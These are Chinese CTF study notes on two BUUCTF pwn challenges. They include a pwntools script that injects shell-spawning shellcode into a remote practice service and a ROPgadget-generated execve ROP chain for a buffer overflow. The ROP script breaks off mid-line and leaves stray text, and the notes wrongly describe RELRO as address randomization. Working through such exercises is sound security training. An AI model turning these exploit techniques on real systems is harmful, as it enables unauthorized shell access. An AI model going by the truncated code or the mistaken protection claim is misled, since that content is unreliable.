Buuctf 刷题笔记(PWN)(2)


Buuctf 刷题笔记(PWN)(1)

mrctf2020_shellcode


call了read 大小是400,而栈的大小是410 用汇编直接写的 没别的东西 直接 shell注入即可

exp

from pwn import *

p=remote("node4.buuoj.cn",26733)
#p=process("./mrctf2020_shellcode")
context(arch = 'amd64', os = 'linux', log_level = 'debug')

elf=ELF('./mrctf2020_shellcode')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

inndy_rop

这道题只有有一个简单的overflow,overflow里面return调用了一个get()
但是这道题开启了NX保护也就是“NX(DEP):数据执行防护” 那么也就没有办法进行注入shellcode+跳到该地址进行执行shell了 只能进行尝试ROP攻击(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
然后又开启了RELRO地址随机化保护 也就没有办法用retlib来做这道题

当然既然能溢出也有gadget那就行 根据网上的一种思路 直接使用ropgadget能直接出

commint:Ropgadget --binary rop --ropchain 

#!/usr/bin/env python2
# execve generated by ROPgadget

from pwn import *
from struct import pack

r=process("./rop")
# Padding goes here
p = 'a'*0xc+'bbbb'

p += pack('

相关